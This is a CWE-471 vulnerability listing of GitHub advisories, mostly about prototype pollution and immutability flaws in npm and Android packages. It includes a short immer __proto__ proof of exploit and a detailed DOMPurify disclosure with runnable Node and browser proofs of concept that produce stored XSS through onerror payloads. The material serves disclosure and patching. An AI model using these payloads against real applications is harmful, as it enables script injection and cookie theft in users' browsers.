Common Weakness Enumeration

CWE-471

Allowed

Modification of Assumed-Immutable Data (MAID)

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not properly protect an assumed-immutable element from being modified by an attacker.

69 vulnerabilities reference this CWE, most recent first.

GHSA-6PQ3-928Q-X6W6

Vulnerability from github – Published: 2020-09-03 15:51 – Updated: 2021-06-07 22:49
VLAI
Summary
Prototype Pollution
Details

All versions of utils-extend are vulnerable to prototype pollution. The extend function does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "utils-extend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8147"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-471"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T19:01:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "All versions of `utils-extend` are vulnerable to prototype pollution. The `extend` function does not restrict the modification of an Object\u0027s prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.",
  "id": "GHSA-6pq3-928q-x6w6",
  "modified": "2021-06-07T22:49:29Z",
  "published": "2020-09-03T15:51:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8147"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/801522"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1502"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Prototype Pollution"
}

GHSA-884M-X6FW-69HF

Vulnerability from github – Published: 2025-01-17 03:30 – Updated: 2025-01-17 03:30
VLAI
Details

IBM QRadar WinCollect Agent 10.0.0 through 10.1.12 could allow a remote attacker to inject XML data into parameter values due to improper input validation of assumed immutable data.

Severity
4.0 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-51462"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-471"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-17T03:15:07Z",
    "severity": "MODERATE"
  },
  "details": "IBM QRadar WinCollect Agent 10.0.0 through 10.1.12 could allow a remote attacker to inject XML data into parameter values due to improper input validation of assumed immutable data.",
  "id": "GHSA-884m-x6fw-69hf",
  "modified": "2025-01-17T03:30:29Z",
  "published": "2025-01-17T03:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51462"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7176043"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8V9X-9XQG-R8MR

Vulnerability from github – Published: 2021-05-10 19:17 – Updated: 2021-04-19 22:31
VLAI
Summary
Prototype pollution in json8-merge-patch
Details

Prototype pollution vulnerability in json8-merge-patch npm package < 1.0.3 may allow attackers to inject or modify methods and properties of the global object constructor.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "json8-merge-patch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8268"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-20",
      "CWE-471"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-19T22:31:31Z",
    "nvd_published_at": "2020-11-09T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "Prototype pollution vulnerability in json8-merge-patch npm package \u003c 1.0.3 may allow attackers to inject or modify methods and properties of the global object constructor.",
  "id": "GHSA-8v9x-9xqg-r8mr",
  "modified": "2021-04-19T22:31:31Z",
  "published": "2021-05-10T19:17:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8268"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sonnyp/JSON8/issues/113"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sonnyp/JSON8/commit/2e890261b66cbc54ae01d0c79c71b0fd18379e7e#diff-faa7bef039022bc7ca1c613331b2373950ddd3d65ebf25d1699fbdf89773a387"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/980649"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/json8-merge-patch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype pollution in json8-merge-patch"
}

GHSA-9G9W-HMVJ-5H57

Vulnerability from github – Published: 2018-07-26 15:17 – Updated: 2023-09-07 18:19
VLAI
Summary
Prototype Pollution in merge-deep
Details

Versions of merge-deep before 3.0.1 are vulnerable to prototype pollution via merging functions.

Recommendation

Update to version 3.0.1 or later.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "merge-deep"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-3722"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-471"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:28:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Versions of `merge-deep` before 3.0.1 are vulnerable to prototype pollution via merging functions.\n\n\n## Recommendation\n\nUpdate to version 3.0.1 or later.",
  "id": "GHSA-9g9w-hmvj-5h57",
  "modified": "2023-09-07T18:19:34Z",
  "published": "2018-07-26T15:17:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3722"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/merge-deep/commit/2c33634da7129a5aefcc262d2fec2e72224404e5"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/310708"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9g9w-hmvj-5h57"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/580"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in merge-deep"
}

GHSA-9QMH-276G-X5PJ

Vulnerability from github – Published: 2021-01-20 21:27 – Updated: 2024-04-25 22:17
VLAI
Summary
Prototype Pollution in immer
Details

Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);

Remediation

Version 8.0.1 contains a fix for this vulnerability, updating is recommended.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "immer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "8.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-28477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-471"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-01-20T19:37:58Z",
    "nvd_published_at": "2021-01-19T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "## Overview\n\nAffected versions of immer are vulnerable to Prototype Pollution.\n\n## Proof of exploit\n\n```js\nconst {applyPatches, enablePatches} = require(\"immer\");\nenablePatches();\nlet obj = {};\nconsole.log(\"Before : \" + obj.polluted);\napplyPatches({}, [ { op: \u0027add\u0027, path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\n// applyPatches({}, [ { op: \u0027replace\u0027, path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\nconsole.log(\"After : \" + obj.polluted);\n```\n\n## Remediation\n\nVersion 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.",
  "id": "GHSA-9qmh-276g-x5pj",
  "modified": "2024-04-25T22:17:51Z",
  "published": "2021-01-20T21:27:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28477"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immerjs/immer/issues/738"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1061986"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-IMMER-1019369"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/immer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in immer"
}

GHSA-CM6R-892J-JV2G

Vulnerability from github – Published: 2022-08-13 00:00 – Updated: 2022-08-18 19:13
VLAI
Summary
Google Play Services SDK leads to apps having incorrectly set mutability flag
Details

Apps developed with Google Play Services SDK incorrectly had the mutability flag set to PendingIntents that were passed to the Notification service. As Google Play services SDK is so widely used, this bug affects many applications. For an application affected, this bug will let the attacker, gain the access to all non-exported providers and/or gain the access to other providers the victim has permissions. We recommend upgrading to version 18.0.2 of the Play Service SDK as well as rebuilding and redeploying apps.

Severity
6.1 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.android.gms:play-services-basement"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "18.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-2390"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-471"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-08-18T19:13:34Z",
    "nvd_published_at": "2022-08-12T11:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Apps developed with Google Play Services SDK incorrectly had the mutability flag set to PendingIntents that were passed to the Notification service. As Google Play services SDK is so widely used, this bug affects many applications. For an application affected, this bug will let the attacker, gain the access to all non-exported providers and/or gain the access to other providers the victim has permissions. We recommend upgrading to version 18.0.2 of the Play Service SDK as well as rebuilding and redeploying apps.",
  "id": "GHSA-cm6r-892j-jv2g",
  "modified": "2022-08-18T19:13:34Z",
  "published": "2022-08-13T00:00:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2390"
    },
    {
      "type": "WEB",
      "url": "https://developers.google.com/android/guides/releases#may_03_2022"
    },
    {
      "type": "WEB",
      "url": "https://mvnrepository.com/artifact/com.google.android.gms/play-services-basement/18.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Google Play Services SDK leads to apps having incorrectly set mutability flag"
}

GHSA-CMWH-PVXP-8882

Vulnerability from github – Published: 2026-06-18 14:27 – Updated: 2026-06-18 14:27
VLAI
Summary
DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)
Details

Summary

DOMPurify 3.4.7 shipped a security fix ("permanent hook pollution") that makes a registered uponSanitizeAttribute hook's mutation of data.allowedAttributes non-persistent — so allowing an attribute for one element does not leak into later sanitize() calls. The fix clones ALLOWED_ATTR inside _parseConfig.

That guard is silently bypassed whenever the application uses the persistent-config API DOMPurify.setConfig(). setConfig() sets the module flag SET_CONFIG = true, which causes sanitize() to skip _parseConfig entirely — and the clone-guard lives inside _parseConfig. The hook is then handed the live, shared ALLOWED_ATTR object; any data.allowedAttributes[name] = true it writes mutates that shared object permanently, for the lifetime of the DOMPurify instance, across every subsequent call, and across all elements.

If an application uses setConfig() together with an uponSanitizeAttribute hook that conditionally allows a dangerous attribute (onerror, onclick, onmouseover, srcdoc, formaction, …) for "trusted" elements, then one trusted render permanently allows that attribute on untrusted, attacker-controlled content — yielding stored XSS in viewers' browsers. DOMPurify applies no separate /^on/ event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final.

Affected configuration (preconditions)

The vulnerability is triggered when an application does both:

  1. Calls DOMPurify.setConfig(...) once (the recommended pattern for a fixed, persistent policy), and
  2. Registers an uponSanitizeAttribute hook that writes data.allowedAttributes[name] = true to conditionally allow an attribute (e.g. only for elements bearing a trust marker).

This hook pattern is demonstrated in DOMPurify's own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix.

Root cause (source: src/purify.ts, v3.4.10)

The 3.4.7 clone-guard — only inside _parseConfig:

// src/purify.ts  _parseConfig()  (lines ~950-968)
// "if a hook is registered AND the set still points at the default constant, clone it.
//  The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original."
if ( ... && hooks.uponSanitizeAttribute.length > 0) {
  ALLOWED_TAGS = clone(ALLOWED_TAGS);          // line 961
}
if ( ... hooks.uponSanitizeAttribute.length > 0 ... ) {
  ALLOWED_ATTR = clone(ALLOWED_ATTR);          // line 968
}

sanitize() skips _parseConfig on the persistent-config path:

// src/purify.ts  DOMPurify.sanitize()  (line 2369)
if (!SET_CONFIG) {
  _parseConfig(cfg);          // <-- clone-guard lives in here; SKIPPED when SET_CONFIG is true
}

setConfig() sets the flag that disables the guard:

// src/purify.ts  (lines 2596-2598)
DOMPurify.setConfig = function (cfg = {}) {
  _parseConfig(cfg);
  SET_CONFIG = true;          // every later sanitize() now skips _parseConfig
};

The hook is handed the live allowlist binding, and there is no secondary event-handler defense:

// src/purify.ts (line 2088) — hook event exposes the shared object by reference
allowedAttributes: ALLOWED_ATTR,
// (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself
// _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.

Net: after setConfig(), the clone-guard never runs, so the hook's allowedAttributes mutation is a permanent write to the instance's shared ALLOWED_ATTR.

Proof of Concept

Environment: npm i dompurify@3.4.10 jsdom (Node; identical mechanism to isomorphic-dompurify, and to a browser instance).

PoC 1 — the leak (trusted render permanently allows onerror on attacker content)

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DP = createDOMPurify(new JSDOM('').window);

// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements
DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DP.addHook('uponSanitizeAttribute', (node, data) => {
  if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
    data.allowedAttributes['onerror'] = true;        // intended: trusted-only
  }
});

// 1) A trusted widget is rendered once
DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">');

// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance
console.log(DP.sanitize('<img src="x" onerror="alert(document.cookie)">'));
// OUTPUT:  <img src="x" onerror="alert(document.cookie)">     <-- onerror SURVIVES -> XSS

PoC 2 — it is a DOMPurify state-leak, not "the app allowed on*" (attribute-agnostic)

// Same setConfig + hook shape, but the hook allows a BENIGN attribute (title).
// The leak is identical -> the defect is a shared-state mutation in DOMPurify,
// independent of which attribute the hook touches.
DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
DP.addHook('uponSanitizeAttribute', (n, d) => {
  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
});
DP.sanitize('<span data-trusted="1" title="ok">x</span>');
console.log(DP.sanitize('<span title="leaked">x</span>'));   // -> <span title="leaked">x</span>  (leaked)

PoC 3 — control: WITHOUT setConfig() the 3.4.7 guard holds

const DP2 = createDOMPurify(new JSDOM('').window);
DP2.addHook('uponSanitizeAttribute', (n, d) => {
  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
});
DP2.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
console.log(DP2.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }));
// OUTPUT:  <img src="x">     <-- onerror correctly STRIPPED. setConfig() is the trigger.

Persistence (observed)

  • The leak persists after removeAllHooks() — removing the hook does not clean the polluted allowlist.
  • It is global / cross-element — a polluted onmouseover survives on <a> and <div>, not only the originally-blessed <img>.
  • It persists for the instance lifetime (survived 5/5 subsequent default calls).
  • clearConfig() does restore a clean state (this is the bound of the impact).

Impact

Stored XSS. In a long-lived (e.g. server-side / isomorphic-dompurify) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no /^on/ blocklist, a surviving on* attribute is final — no secondary control prevents execution. onerror on a broken-src <img> fires with no user interaction (browser-confirmed; see Validation).

Per-call FORBID_ATTR does not mitigate. A defensive sanitize(input, { FORBID_ATTR: ['onerror'] }) is also ignored once setConfig() has been called: the per-call config is parsed by _parseConfig, which sanitize() skips entirely under SET_CONFIG. So an application cannot blunt the leak with a per-call denylist — the poisoned ALLOWED_ATTR is the sole gate.

Realistic attack scenario

A platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:

  1. The app installs a persistent baseline policy via setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] }).
  2. It registers an uponSanitizeAttribute hook that enables an event handler only for admin-vetted elements marked data-trusted="1", intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe.
  3. An admin renders one trusted widget. From that point on, every user-submitted comment/post containing <img src=x onerror=...> passes sanitization and executes for all viewers.

Remediation

Extend the existing clone-guard to the persistent-config (SET_CONFIG) fast-path: when sanitize() skips _parseConfig but an uponSanitizeAttribute hook is registered, clone the allowlists before the walk so hook mutations cannot persist — the exact analogue of the guard already present in _parseConfig.

// In DOMPurify.sanitize(), replacing the bare `if (!SET_CONFIG) { _parseConfig(cfg); }`:
if (!SET_CONFIG) {
  _parseConfig(cfg);
} else if (hooks.uponSanitizeAttribute.length > 0) {
  // Persistent-config path: _parseConfig (and its clone-guard) is skipped, so a hook would
  // otherwise mutate the shared ALLOWED_ATTR/ALLOWED_TAGS permanently. Clone per call.
  if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR || ALLOWED_ATTR === currentSetConfigAttr) {
    ALLOWED_ATTR = clone(ALLOWED_ATTR);
  }
  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS || ALLOWED_TAGS === currentSetConfigTags) {
    ALLOWED_TAGS = clone(ALLOWED_TAGS);
  }
}

(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of ALLOWED_ATTR/ALLOWED_TAGS whenever SET_CONFIG is true, mirroring the 3.4.7 intent.)

A regression test should reproduce PoC 1 and assert the attacker call returns <img src="x">. Note the existing 3.4.7 regression test ("unguarded attribute hook does not poison subsequent default-config calls") never exercises setConfig() — adding a setConfig variant closes the gap.

Application-side mitigation until patched: prefer data.keepAttr = true (per-element, non-persistent) over data.allowedAttributes[name] = true inside hooks; or call DOMPurify.clearConfig() between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.

Limitations

  • Requires the two-part precondition above (persistent setConfig() and a hook writing data.allowedAttributes[...]). Not a default-config bypass.
  • Impact is bounded by clearConfig(), which restores a clean state. The earlier-considered "survives clearConfig()" claim did not reproduce and is withdrawn.
  • A position could be adopted to "use data.keepAttr=true, not allowedAttributes[]." However, the 3.4.7 security fix exists precisely to defend the allowedAttributes[] hook pattern in the per-call path; leaving the setConfig path unguarded is an incomplete fix of an acknowledged security issue.

Validation

  • Integrity: the tested dompurify@3.4.10 dist/purify.cjs.js (md5 ab0e7b1cde1cbcace0f62b6aac284143) and browser dist/purify.min.js (md5 b0985f80fa48e6e7b263f8f6a64b779e) are byte-identical to a freshly npm pack-ed release — the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10.
  • Node (mechanism): PoCs 1–3 reproduce deterministically; DOMPurify.isValidAttribute('img','onerror','x') flips false → true after a single trusted render under setConfig(), proving the shared attribute gate is poisoned. Leak survives removeAllHooks(), is cross-element, persists for the instance lifetime, and is reset only by clearConfig().
  • Real browser (impact): in Chrome with DOMPurify 3.4.10, assigning the attacker output to innerHTML executes the surviving onerror (sentinel window.__fired = ["ATTACKER-onerror"]; onerror DOM property is a function), with no user interaction. The no-setConfig A/B control does not fire — execution is attributable to the setConfig leak, not a harness artifact.

Appendix A — Node PoC (complete, runnable)

// poc.js  —  npm i dompurify@3.4.10 jsdom  &&  node poc.js
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const freshDP = () => createDOMPurify(new JSDOM('').window);
const log = (s) => console.log(s);
log('DOMPurify ' + freshDP().version + '\n');

// PoC 1 — the leak: trusted render permanently allows onerror on attacker content
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
  DP.addHook('uponSanitizeAttribute', (node, data) => {
    if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
      data.allowedAttributes['onerror'] = true;            // intended: trusted-only
    }
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">');            // trusted render
  const attacker = DP.sanitize('<img src="x" onerror="alert(document.cookie)">');  // attacker, no data-trusted
  log('[PoC1] attacker output  : ' + attacker);
  log('[PoC1] onerror survived : ' + /onerror/.test(attacker));
  log('[PoC1] isValidAttribute(img,onerror) -> ' + DP.isValidAttribute('img','onerror','x') + '  (shared gate poisoned)\n');
}

// PoC 2 — attribute-agnostic: a DOMPurify state-leak, not "the app allowed on*"
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
  });
  DP.sanitize('<span data-trusted="1" title="ok">x</span>');
  log('[PoC2] benign title leaks: ' + DP.sanitize('<span title="leaked">x</span>') + '\n');
}

// PoC 3 — control: WITHOUT setConfig the 3.4.7 guard holds
{
  const DP = freshDP();
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
  const ctrl = DP.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
  log('[PoC3] control output   : ' + ctrl + '   stripped: ' + !/onerror/.test(ctrl) + '\n');
}

// Persistence: survives removeAllHooks(); reset only by clearConfig()
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">');
  DP.removeAllHooks();
  let leaks = 0;
  for (let i = 0; i < 5; i++) if (/onerror/.test(DP.sanitize('<img src="x" onerror="alert('+i+')">'))) leaks++;
  log('[persist] survived ' + leaks + '/5 calls after removeAllHooks()');
  DP.clearConfig();
  log('[persist] after clearConfig(): ' + DP.sanitize('<img src="x" onerror="alert(1)">') + '  (reset)');
}

Expected output:

[PoC1] attacker output  : <img src="x" onerror="alert(document.cookie)">
[PoC1] onerror survived : true
[PoC1] isValidAttribute(img,onerror) -> true  (shared gate poisoned)
[PoC2] benign title leaks: <span title="leaked">x</span>
[PoC3] control output   : <img src="x">   stripped: true
[persist] survived 5/5 calls after removeAllHooks()
[persist] after clearConfig(): <img src="x">  (reset)

Appendix B — Browser PoC (complete; confirms execution)

<!doctype html><html><head><meta charset="utf-8">
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.4.10/dist/purify.min.js"></script>
</head><body><pre id="out"></pre>
<script>
const log = (s) => document.getElementById('out').textContent += s + '\n';
window.__fired = [];
window.alert = (x) => window.__fired.push('alert:' + x);   // sentinel: capture exec, no modal
log('DOMPurify ' + DOMPurify.version);

// App init: persistent policy + a hook allowing onerror ONLY for trusted elements
DOMPurify.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
  if (node.getAttribute && node.getAttribute('data-trusted') === '1') data.allowedAttributes['onerror'] = true;
});

DOMPurify.sanitize('<img data-trusted="1" src="x" onerror="0">');                 // one trusted render
const out = DOMPurify.sanitize('<img src="x" onerror="alert(\'XSS:\'+document.domain)">');  // attacker
log('attacker sanitized output: ' + out);
const host = document.createElement('div');
host.innerHTML = out;                            // surviving onerror arms on the broken-src img
document.body.appendChild(host);

setTimeout(() => {
  log('handlers fired: ' + JSON.stringify(window.__fired));
  log(window.__fired.length ? 'RESULT: XSS EXECUTED' : 'RESULT: no execution');
}, 500);
</script></body></html>

Observed: handlers fired: ["alert:XSS:<domain>"] → RESULT: XSS EXECUTED (no user interaction). The same harness without the setConfig() line strips onerror and does not fire.

Severity
5.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.10"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-471",
      "CWE-665",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:27:37Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nDOMPurify 3.4.7 shipped a security fix (\"permanent hook pollution\") that makes a registered `uponSanitizeAttribute` hook\u0027s mutation of `data.allowedAttributes` **non-persistent** \u2014 so allowing an attribute for one element does not leak into later `sanitize()` calls. The fix clones `ALLOWED_ATTR` inside `_parseConfig`.\n\nThat guard is **silently bypassed whenever the application uses the persistent-config API `DOMPurify.setConfig()`.** `setConfig()` sets the module flag `SET_CONFIG = true`, which causes `sanitize()` to **skip `_parseConfig` entirely** \u2014 and the clone-guard lives inside `_parseConfig`. The hook is then handed the **live, shared `ALLOWED_ATTR` object**; any `data.allowedAttributes[name] = true` it writes mutates that shared object **permanently**, for the lifetime of the DOMPurify instance, across every subsequent call, and across **all** elements.\n\nIf an application uses `setConfig()` together with an `uponSanitizeAttribute` hook that conditionally allows a dangerous attribute (`onerror`, `onclick`, `onmouseover`, `srcdoc`, `formaction`, \u2026) for \"trusted\" elements, then **one trusted render permanently allows that attribute on untrusted, attacker-controlled content** \u2014 yielding stored XSS in viewers\u0027 browsers. DOMPurify applies no separate `/^on/` event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final.\n\n---\n\n## Affected configuration (preconditions)\n\nThe vulnerability is triggered when an application does **both**:\n\n1. Calls `DOMPurify.setConfig(...)` once (the recommended pattern for a fixed, persistent policy), **and**\n2. Registers an `uponSanitizeAttribute` hook that writes `data.allowedAttributes[name] = true` to conditionally allow an attribute (e.g. only for elements bearing a trust marker).\n\nThis hook pattern is demonstrated in DOMPurify\u0027s own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix.\n\n---\n\n## Root cause (source: `src/purify.ts`, v3.4.10)\n\nThe 3.4.7 clone-guard \u2014 only inside `_parseConfig`:\n\n```\n// src/purify.ts  _parseConfig()  (lines ~950-968)\n// \"if a 